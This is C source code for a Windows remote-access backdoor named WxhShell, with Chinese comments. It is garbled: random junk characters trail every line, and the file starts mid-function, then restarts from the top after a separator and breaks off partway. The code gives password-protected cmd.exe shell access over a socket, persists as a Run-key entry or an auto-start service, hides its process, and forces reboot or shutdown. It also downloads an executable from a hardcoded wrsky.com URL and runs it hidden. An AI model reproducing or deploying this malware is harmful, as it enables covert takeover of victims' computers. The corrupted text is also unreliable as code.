    else { &jd<rs5}  
    closesocket(wsh); 2G> ]W?>  
    ExitThread(0); I`>%2mP[C  
    } A{"t0Ai='0  
    break; JU+'UK630  
    } {/!"}{G1e  
  // 关机 \`5u@Nzx  
  case 'd': { *%+buHe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4?uG> ;V  
    if(Boot(SHUTDOWN)) Y|jesa {x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]a~LA7VHO  
    else { .[ s82c]]6  
    closesocket(wsh); T<GD!j(  
    ExitThread(0); e!'u{>u  
    } X}^gmu<Vla  
    break; =i %w_ e  
    } HKw4}FC*  
  // 获取shell k= 1+mG  
  case 's': { kfECC&"  
    CmdShell(wsh); >?FCv7qN  
    closesocket(wsh); GQWTQIl]  
    ExitThread(0); BBj"}~da  
    break; z9w.=[Io  
  } vH8%a8V  
  // 退出 %W@IB8]Vr  
  case 'x': { 8"^TWzg}L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uS,$P34^oy  
    CloseIt(wsh); y Dw!u[:  
    break; IbwRb  
    } brot&S2P><  
  // 离开 o|C{ s   
  case 'q': { M lwQ_5O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8 \Oiv$r  
    closesocket(wsh); )Cfrqe1^  
    WSACleanup(); OO>2oH  
    exit(1); \(L^ /]}G)  
    break; !~v>&bCG>9  
        } n3,wwymQ  
  } P^-9?u Bno  
  } G$<0_0GF  
>^N :A  
  // 提示信息 2_v>8B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); " z{w^k  
} OK(d&   
  } Cn '=_1p  
#m>mYp8E.5  
  return; HbVLL`06*  
} X.<R['U&\  
"dTXT  
// shell模块句柄 o5R40["  
int CmdShell(SOCKET sock) O!tD1^O!1}  
{ <^{:K`  
STARTUPINFO si; v(~m!8!TI  
ZeroMemory(&si,sizeof(si)); t`B']Ac;T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ea?.H Rxl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ow "Xv  
PROCESS_INFORMATION ProcessInfo; RkzBn  
char cmdline[]="cmd"; Y2n*T KXI,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 566Qik w2  
  return 0; (P-<9y@  
} IIkJ"Qg.  
$}fA;BP  
// 自身启动模式 UEUTu}4y  
int StartFromService(void) X$f%Ss  
{ 8vK&d>  
typedef struct h;->i]  
{ nCU4a1rZ  
  DWORD ExitStatus; >.|gmo>b  
  DWORD PebBaseAddress; R8l9i2  
  DWORD AffinityMask; ,e2va7}3  
  DWORD BasePriority; a 2TC,   
  ULONG UniqueProcessId; tUQ)q  
  ULONG InheritedFromUniqueProcessId; Q1z04m1_y[  
}   PROCESS_BASIC_INFORMATION; b3+PC$z2h  
z{\.3G  
PROCNTQSIP NtQueryInformationProcess; @V)WJ {  
o6 /?WR9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 32yNEP{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )T?ryp3ev  
$$a"A(Y  
  HANDLE             hProcess; ~6tY\6$9f  
  PROCESS_BASIC_INFORMATION pbi; JFZ p^{  
PBmt.yF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $4&Ql  
  if(NULL == hInst ) return 0; *M:Bhw  
`;;!>rm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lmb<)YY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lK-I[i!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s6B@:9  
4tI~d8?pk+  
  if (!NtQueryInformationProcess) return 0; VZ8L9h<{"  
amRtFrc|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qb Q> z+c  
  if(!hProcess) return 0; ?D_zAh?pW  
@UKd0kxPN{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O%r<I*T^r  
VI?[8@*Z  
  CloseHandle(hProcess); ze- iDd_y  
GOt@x9%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * XJSa  
if(hProcess==NULL) return 0; b7-a0zaN  
b{&@ Lm0Tn  
HMODULE hMod; g=)@yZ3>v  
char procName[255]; =["GnL*!0  
unsigned long cbNeeded; /SiQw7yp%  
$)U RY~;i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @:63OLlrG  
9cLKb  
  CloseHandle(hProcess); /=N`P &R#  
sdb#K?l  
if(strstr(procName,"services")) return 1; // 以服务启动 &b_duWs  
IY'S<)vOY  
  return 0; // 注册表启动 d^7<l_u~ !  
} b#sO1MXv  
mU!c;O  
// 主模块 }5K\ l  
int StartWxhshell(LPSTR lpCmdLine) ;.iy{&$  
{ VD4(  
  SOCKET wsl; fA8 ,wy|>  
BOOL val=TRUE; 8g3 6-8  
  int port=0; 'G&w[8mqY  
  struct sockaddr_in door; C-8@elZ1  
fIu/*PFPVY  
  if(wscfg.ws_autoins) Install(); d/MMPge3  
R7#B_^ $  
port=atoi(lpCmdLine); 7*sB"_U2  
8qT/1b  
if(port<=0) port=wscfg.ws_port; ^Oo%`(D?  
?n}L+|  
  WSADATA data; o!Y7y1$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b<%6aRC\  
B9]KC i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C[75 !F   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gD-<^Q-  
  door.sin_family = AF_INET; .mMM]*e[0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \QVL%,.%M  
  door.sin_port = htons(port); 4XRVluD%W.  
G=DRz F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SJ<nAX  
closesocket(wsl); =oBV.BST u  
return 1; OmsNo0OA  
} bYiaJ  
JMXCyDy;  
  if(listen(wsl,2) == INVALID_SOCKET) { [j) :2  
closesocket(wsl); H d :2  
return 1; b^0=X!bg  
} Ay[6rUO  
  Wxhshell(wsl); m}rUc29cS,  
  WSACleanup(); uT_bA0jK  
+5voAx!  
return 0; v81<K*w`P  
MFRM M%`  
} 3>ytpXUEGx  
3:s!0ty"  
// 以NT服务方式启动 {>9vm!<[*\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dW6sA65<Y  
{ ^I7iEv  
DWORD   status = 0; P9BShC5  
  DWORD   specificError = 0xfffffff; .^eajb`:  
u{J$]%C   
  serviceStatus.dwServiceType     = SERVICE_WIN32; xtyOG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n&Bgpt~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L\a G.\  
  serviceStatus.dwWin32ExitCode     = 0; 1GE[*$vuq  
  serviceStatus.dwServiceSpecificExitCode = 0; ^8OK.iC  
  serviceStatus.dwCheckPoint       = 0; Dc2H<=];  
  serviceStatus.dwWaitHint       = 0; xQ%N% `  
Dr)B0]KG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f["c,,[  
  if (hServiceStatusHandle==0) return; +87|gC7B  
z#m ~}  
status = GetLastError(); HQX.oW  
  if (status!=NO_ERROR) s^#B*  
{ Qhy!:\&1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T,r?% G{XE  
    serviceStatus.dwCheckPoint       = 0; yw\Q>~$n[=  
    serviceStatus.dwWaitHint       = 0; Q WcQtM  
    serviceStatus.dwWin32ExitCode     = status; kntYj}F(  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ir#]p9:x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }p5_JXBV  
    return; #x*\dL  
  } TophV}@B`  
jl9hFubwW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8 kvF~d ;  
  serviceStatus.dwCheckPoint       = 0; *O_>3Hgl  
  serviceStatus.dwWaitHint       = 0; ia@ |+r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2)hfYLi  
} ,Wv+Ek  
7cB/G:{  
// 处理NT服务事件,比如:启动、停止 (1 (~r"4I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gu|=uW K  
{ rtNYX=P  
switch(fdwControl) -^+fZBU;  
{ hi`[  
case SERVICE_CONTROL_STOP: L I*=T   
  serviceStatus.dwWin32ExitCode = 0; oz:"w nX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DSQ2|{   
  serviceStatus.dwCheckPoint   = 0; ZLP/&`>8  
  serviceStatus.dwWaitHint     = 0; PriLV4?  
  { bmu]zJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X$e*s\4  
  } :{+~i.*  
  return; p4V*%A&w  
case SERVICE_CONTROL_PAUSE: [Do^EJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aVCPaYe^  
  break; nrHC;R.nE  
case SERVICE_CONTROL_CONTINUE: fV@ [S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ; [G:  
  break; w"5Eyz-eO  
case SERVICE_CONTROL_INTERROGATE: yDfH`]i)U  
  break; "iTjiH)Q(  
}; :s6aFiz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }4N'as/ZO  
} $C.a@gm  
7HkFDI()1  
// 标准应用程序主函数 U0t|i'Hx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?z`={oN  
{ 6se8`[  
fX]`vjM{  
// 获取操作系统版本 TG[u3 Y4  
OsIsNt=GetOsVer(); <pfl>Uf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d7Vp^^}(  
f-3CDUQ`  
  // 从命令行安装 $2\ 8Rn6'  
  if(strpbrk(lpCmdLine,"iI")) Install(); w i[9RD@  
UAPd["`)y  
  // 下载执行文件  4d\^  
if(wscfg.ws_downexe) {  V1B!5N<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t5%cpkgh4  
  WinExec(wscfg.ws_filenam,SW_HIDE); KF zI27r  
} dzEi^* (8  
\o}T0YX  
if(!OsIsNt) { yfK}1mx)j  
// 如果时win9x,隐藏进程并且设置为注册表启动 +!0K]$VZs  
HideProc(); dpTsTU!\  
StartWxhshell(lpCmdLine); ydyTDn  
} Rjq Xz6  
else O`c+y  
  if(StartFromService()) 3l%Qd<  
  // 以服务方式启动 ZA+dtEE=f9  
  StartServiceCtrlDispatcher(DispatchTable); gYhY1Mym  
else N2O *g`YC  
  // 普通方式启动 <Cv(@A->  
  StartWxhshell(lpCmdLine); ?D6uviQg  
7Y9#y{v1  
return 0; qS#G7~ur>y  
} ID43s9  
-T,?'J0 2  
Q]YB.n3   
r|EN5  
=========================================== o5bp~.m<  
E +_n@t"  
G9f6'5 O  
i'm<{ v  
!HvA5'|:}  
$DoR@2 ~y  
"  !BsQJ_H  
g}NO$?ndg  
#include <stdio.h> m<h%BDSzr{  
#include <string.h> jc&k-d>=G  
#include <windows.h> hyH[`wiq  
#include <winsock2.h> 9B!Sv/)y!r  
#include <winsvc.h> dymq Z<  
#include <urlmon.h> YIg(^>sq  
5tYo! f  
#pragma comment (lib, "Ws2_32.lib") ,WRm{ v0f^  
#pragma comment (lib, "urlmon.lib") A`n>9|R  
Ca|egQv  
#define MAX_USER   100 // 最大客户端连接数 17 Ugz?  
#define BUF_SOCK   200 // sock buffer Am<5J,<uy  
#define KEY_BUFF   255 // 输入 buffer B?! L~J@p  
C^L+R7  
#define REBOOT     0   // 重启 FJ_7<4ET  
#define SHUTDOWN   1   // 关机 ; Z]Wj9iY  
`,qft[1  
#define DEF_PORT   5000 // 监听端口 4j#y?^s  
L,}'ST  
#define REG_LEN     16   // 注册表键长度 $-}&RW9  
#define SVC_LEN     80   // NT服务名长度 zMsup4cl  
DZSS  
// 从dll定义API QQrldc(I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *'>_XX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'JOUx_@z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1&|]8=pG7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fpR|+`k  
 0k (-  
// wxhshell配置信息 YvJFZ_faX  
struct WSCFG { vGkem J^/  
  int ws_port;         // 监听端口 8!E.3'jb  
  char ws_passstr[REG_LEN]; // 口令 S(gr>eC5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5#GMp  
  char ws_regname[REG_LEN]; // 注册表键名 'H5 30Y\  
  char ws_svcname[REG_LEN]; // 服务名 danPy2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \Y4(+t=4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]3LLlXtK[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S%iK);  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -8 uS#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CD&a_-'z$K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =A'>1N  
LCivZ0?|X  
}; Uu_qy(4  
uj8saNu  
// default Wxhshell configuration if*V-$[I  
struct WSCFG wscfg={DEF_PORT, o%_-u +  
    "xuhuanlingzhe", UD-+BUV  
    1, 9^a|yyzL  
    "Wxhshell", 4|?(LHBD)  
    "Wxhshell", //&3{B  
            "WxhShell Service", |/Vq{gxp+  
    "Wrsky Windows CmdShell Service", k=s^-Eiu  
    "Please Input Your Password: ", *j3 U+HV  
  1, k-~}KlP  
  "http://www.wrsky.com/wxhshell.exe", 7nB4(A2[S4  
  "Wxhshell.exe" MSCH6R"5  
    }; *y4DK6OFe  
{y"Kn'1  
// 消息定义模块 tj;47UtH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sl$6Zv-l%0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sX"L\v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A|"T8KSMB  
char *msg_ws_ext="\n\rExit."; {,Z|8@Sl%  
char *msg_ws_end="\n\rQuit."; E-WpsNJ)X  
char *msg_ws_boot="\n\rReboot..."; bc(MN8b]j  
char *msg_ws_poff="\n\rShutdown..."; f#l9rV"@g  
char *msg_ws_down="\n\rSave to "; (-S^L'v62v  
kX L0  
char *msg_ws_err="\n\rErr!"; \|>% /P  
char *msg_ws_ok="\n\rOK!"; ef'kG"1  
#ft9ms#N  
char ExeFile[MAX_PATH]; PJK:LZw  
int nUser = 0; pLu5x<  
HANDLE handles[MAX_USER]; wqG#jC!5  
int OsIsNt; LuZlGm  
'd N1~Pa  
SERVICE_STATUS       serviceStatus; r5gqRh}+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y2VfJ}%Q  
?b7ttlX{  
// 函数声明 >,,`7%Rv  
int Install(void); =Htt'""DN  
int Uninstall(void); nReIi;pi  
int DownloadFile(char *sURL, SOCKET wsh); -3ePCAtXbe  
int Boot(int flag); k{r<S|PK0  
void HideProc(void); @G;9eh0$  
int GetOsVer(void); 6"_pCkn;c<  
int Wxhshell(SOCKET wsl); m ^FKE:  
void TalkWithClient(void *cs); * K$ U[$s  
int CmdShell(SOCKET sock); \dQc!)&C9  
int StartFromService(void); %f CkR`:  
int StartWxhshell(LPSTR lpCmdLine); +o@:8!IM1  
Z,p@toj'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _p"u~j~%-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TFOx=_.%i  
jUD^]Qs  
// 数据结构和表定义 g(zeOS]q}  
SERVICE_TABLE_ENTRY DispatchTable[] = ;'Hu75ymo  
{ ;39b.v\^  
{wscfg.ws_svcname, NTServiceMain}, ]-t>F  
{NULL, NULL} (1cB Tf  
}; 2c]751  
jW7ffb `O  
// 自我安装 zf8SpQ2~  
int Install(void) GPni%P#a@0  
{ WZ`i\s1#  
  char svExeFile[MAX_PATH]; Ytc[ kp  
  HKEY key; FI:H/e5[  
  strcpy(svExeFile,ExeFile); 6&]Z'nW0k  
<}RD]Sc$1  
// 如果是win9x系统,修改注册表设为自启动 aoz+Th3  
if(!OsIsNt) { 4Y'Ne2M{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :ek^M (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); db_Qt'>  
  RegCloseKey(key); e<uf)K=(C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^X6e\]yj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %AJ9fs4/  
  RegCloseKey(key); T-yEn&r4)  
  return 0; ie[X7$@  
    } <V)z{uK  
  } 2ZV; GS#  
} s#<fj#S  
else { UUDbOxD^w  
D?%[du:V  
// 如果是NT以上系统,安装为系统服务 X2I_,k'fQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~)#E?:h5  
if (schSCManager!=0) v6DjNyg<x  
{ =c 9nC;C  
  SC_HANDLE schService = CreateService CAx$A[f<  
  ( x0)=jp '  
  schSCManager, a~@f,bw  
  wscfg.ws_svcname, QxPPgn7'  
  wscfg.ws_svcdisp, $Tv~ *|a  
  SERVICE_ALL_ACCESS, QuMv1)n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Py #EjF12  
  SERVICE_AUTO_START, IR]5,K^l  
  SERVICE_ERROR_NORMAL, qi~-<qW  
  svExeFile, FO(QsR=\s  
  NULL, LmyaC2  
  NULL, fe<7D\Sp@  
  NULL, o "0 ~  
  NULL, (X^,.qy  
  NULL Fs~*-R$  
  ); .fqy[qrM  
  if (schService!=0) 8mmnnf{P  
  { CAviP61T  
  CloseServiceHandle(schService); PA803R74  
  CloseServiceHandle(schSCManager); 9i 9 ,X^=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x6JV@wA&  
  strcat(svExeFile,wscfg.ws_svcname); qLX<[UL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X0+E!~X$zM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  wT19m  
  RegCloseKey(key); hC8WRxEGq  
  return 0; _(?`eWo  
    } XXX y*/P  
  } bh5P98s  
  CloseServiceHandle(schSCManager); lb9?Uc@  
} fBZLWfp9  
} >&e=0@?+G  
x&J\swN9  
return 1; OA6i/3 #8  
} -z. wAp  
|xZu?)M4  
// 自我卸载 L?;UcCB  
int Uninstall(void) )M"NMUuU"  
{ 3QZm *. /"  
  HKEY key; p),* 4@2<  
zd8A8]&-  
if(!OsIsNt) { 68bvbig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wmVb0~[  
  RegDeleteValue(key,wscfg.ws_regname); Iv3yDL;  
  RegCloseKey(key); *^g]QQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ct|0zl~  
  RegDeleteValue(key,wscfg.ws_regname); XP!m]\E&I  
  RegCloseKey(key); ORP<?SG55u  
  return 0; gfN=0Xj4  
  } !hfpa_5  
} IEm~^D#<=  
} f4AN"rW  
else { Q3=5q w^  
mE{QTZS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Op9 ^Eu%n  
if (schSCManager!=0) vOCaru?~h  
{ .H M3s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h*JN0O<b  
  if (schService!=0) ]D5Maid+  
  { q$yg^:]2  
  if(DeleteService(schService)!=0) { kq(><T  
  CloseServiceHandle(schService); Bi;a~qE  
  CloseServiceHandle(schSCManager); GK,{$SC+=  
  return 0; iNl<<0a  
  } OW=3t#"7Kp  
  CloseServiceHandle(schService); UE5,Ml~X  
  } 3}phg  
  CloseServiceHandle(schSCManager);  r90tXx  
} gn/]1NNfR  
} iJ*Wsp  
]Oo!>iTQi  
return 1; GwDOxH'  
} G8w@C  
&I)tI^P}  
// 从指定url下载文件 aw lq/  
int DownloadFile(char *sURL, SOCKET wsh) {W{;VJKQ2  
{ D2D+S  
  HRESULT hr; "WGKwi=W  
char seps[]= "/"; Z>3~n  
char *token; fk?!0M6d  
char *file; B[YyA  
char myURL[MAX_PATH]; "38<14V  
char myFILE[MAX_PATH]; $4ZV(j]  
N#-. [9!  
strcpy(myURL,sURL); P%yL{  
  token=strtok(myURL,seps); BH^*K/ ^  
  while(token!=NULL) Zp_j\B  
  { u:(=gj,~x  
    file=token; E>*b,^J7g  
  token=strtok(NULL,seps); 3HP { a  
  } x~Z7p)D_<  
S3U]AH)C  
GetCurrentDirectory(MAX_PATH,myFILE); avG#0AY  
strcat(myFILE, "\\"); cC$YD]XdIA  
strcat(myFILE, file); [-Y~g%M  
  send(wsh,myFILE,strlen(myFILE),0); ]P7gEBi  
send(wsh,"...",3,0); #2Q%sE?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RYC%;h  
  if(hr==S_OK) B&59c*K  
return 0; hB\BFVUSn/  
else LR#.xFQ+  
return 1; B$JPE7h@[P  
6-?/kY6  
} tQ'R(H`  
.*YOyK3H  
// 系统电源模块 hTby:$aCg  
int Boot(int flag) &"tQpw5  
{ qx >Z@o  
  HANDLE hToken; u}R|q  
  TOKEN_PRIVILEGES tkp; Z9% u,Cb  
13 JG[,w  
  if(OsIsNt) { leizjL\P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xk8NX-:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MGw XZ7?E  
    tkp.PrivilegeCount = 1; 32J/   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IWN18aaL?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GP ^^ K  
if(flag==REBOOT) { <$uDN].T4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !m_y@~pV#u  
  return 0; SU7,uxF  
} Avljrds+7  
else { r_'];  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Z%_dT}  
  return 0; X&49C:jN  
} 1#>uqUxah  
  } PDgZb  
  else { 7I(QTc)*  
if(flag==REBOOT) { 8r,0Qic2K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #>5T,[{?j  
  return 0; <7ag=IgDy  
} XNvlx4  
else { yMgS0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3v#F0s|  
  return 0; !]7L9TGn  
} +]H!q W:  
} cUi6 On1C  
nM8'="$  
return 1; }.=wQ_  
} YO@~y *,  
g6 SZ4WV  
// win9x进程隐藏模块 <1~_nt~(*  
void HideProc(void) ##] `  
{ r0'a-Mk;  
KlwB oC/{K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +rrA>~  
  if ( hKernel != NULL ) J}@.f-W\j  
  { 4*q6#=G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FA%BzU5^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !.|A}8nK  
    FreeLibrary(hKernel); ;Q5o38(  
  } #V[Os!ns  
shY8h   
return; mLHl]xs4  
} q{q;X{  
?*QL;[n1  
// 获取操作系统版本 '?mky,:HT  
int GetOsVer(void) cS#| _  
{ Fcn@j#[J  
  OSVERSIONINFO winfo; 7zNfq.Ni~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?IiFFfs  
  GetVersionEx(&winfo); "@xL9[d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) urD{'FQf  
  return 1; sg<c1  
  else  |L  <  
  return 0; wI[J>9Qn  
} ch/DBu  
j'SGZnsy*  
// 客户端句柄模块 H ;HFen|  
int Wxhshell(SOCKET wsl) t0ZaIE   
{ bg*@N  
  SOCKET wsh; llpgi,-=  
  struct sockaddr_in client; OK:YnSk"  
  DWORD myID; 6s:  
uHt@;$9A  
  while(nUser<MAX_USER) h& Ezhv2  
{ _E^ !, Wz  
  int nSize=sizeof(client); mGUG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  1W>0  
  if(wsh==INVALID_SOCKET) return 1; uX&Tn1Kg  
A^7}:[s20  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~:UAL}b{\~  
if(handles[nUser]==0) XiyL563gh  
  closesocket(wsh); "Qe2U(Un  
else ,Mu"r!MK  
  nUser++; 'R n\CMTH  
  } 3hR3)(+1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >6z7.d  
G>+iisb%  
  return 0; =#?=Lh  
} n!?u/[@  
E vD g{M}  
// 关闭 socket $&0\BvS  
void CloseIt(SOCKET wsh) TI637yqCU  
{ '# J/e0o@  
closesocket(wsh); k{+ Gv}Y  
nUser--; #D8u#8Dz  
ExitThread(0); BHIC6i%  
} {pk&dB _Bu  
(fC U+  
// 客户端请求句柄 T=T1?@2C  
void TalkWithClient(void *cs) PWN$x`h g[  
{ BGL-lJrG  
9*xv ,Yz8  
  SOCKET wsh=(SOCKET)cs; e\H1IR3  
  char pwd[SVC_LEN]; qf B!)Y  
  char cmd[KEY_BUFF]; C +S>;1  
char chr[1]; 2~W8tv0^b2  
int i,j; 2[Bw+<YA`  
%`^{Hh`  
  while (nUser < MAX_USER) { JA6#qlylL  
aumM\rY  
if(wscfg.ws_passstr) { "v5jYz5M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 43o!Vr/ S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sKGR28e  
  //ZeroMemory(pwd,KEY_BUFF); #s|/5[i  
      i=0; jR mo9Bb2  
  while(i<SVC_LEN) { ]*pro|  
kk7M$)>d  
  // 设置超时 PRyzUG&  
  fd_set FdRead; `:;fc  
  struct timeval TimeOut; Qon>[<]B  
  FD_ZERO(&FdRead); Q`[J3-Q*{  
  FD_SET(wsh,&FdRead); OA8iTn  
  TimeOut.tv_sec=8; ?wbf)fbq  
  TimeOut.tv_usec=0; DzG$\%G2R}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vi\kB%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3v:c'R0  
)+ 12r6W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C!S( !Z,  
  pwd=chr[0]; e:zuP.R  
  if(chr[0]==0xd || chr[0]==0xa) { J nf@u  
  pwd=0; q b7ur;  
  break; PitDk 1T  
  } 3q:>NB<  
  i++; 8YwSaBwO  
    } 2f7]= snCG  
"2 J2za  
  // 如果是非法用户,关闭 socket '7/c7m/$X<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p+O,C{^f  
} guWX$C-+1  
m<| *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jp P'{mc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =@0/.oSD  
\}+b_J6-  
while(1) { ; `-@L  
L&h90Az1W  
  ZeroMemory(cmd,KEY_BUFF); n>:|K0u"  
+'QE-#%{=  
      // 自动支持客户端 telnet标准    N2Q%/}+,  
  j=0; {/PiX1mn  
  while(j<KEY_BUFF) { Z^SF $+UN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W<s5rMx  
  cmd[j]=chr[0]; X*Cvh|  
  if(chr[0]==0xa || chr[0]==0xd) { c6f[^Q%#j  
  cmd[j]=0; w@"l0gm+u[  
  break; l!YjDm{E  
  } .0f6b  
  j++; :Vl2\H=P  
    } qJPEq%'Q  
%+e% RZ3  
  // 下载文件 B gB]M3Il  
  if(strstr(cmd,"http://")) { BARs1^pR4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Uw/;Kyh  
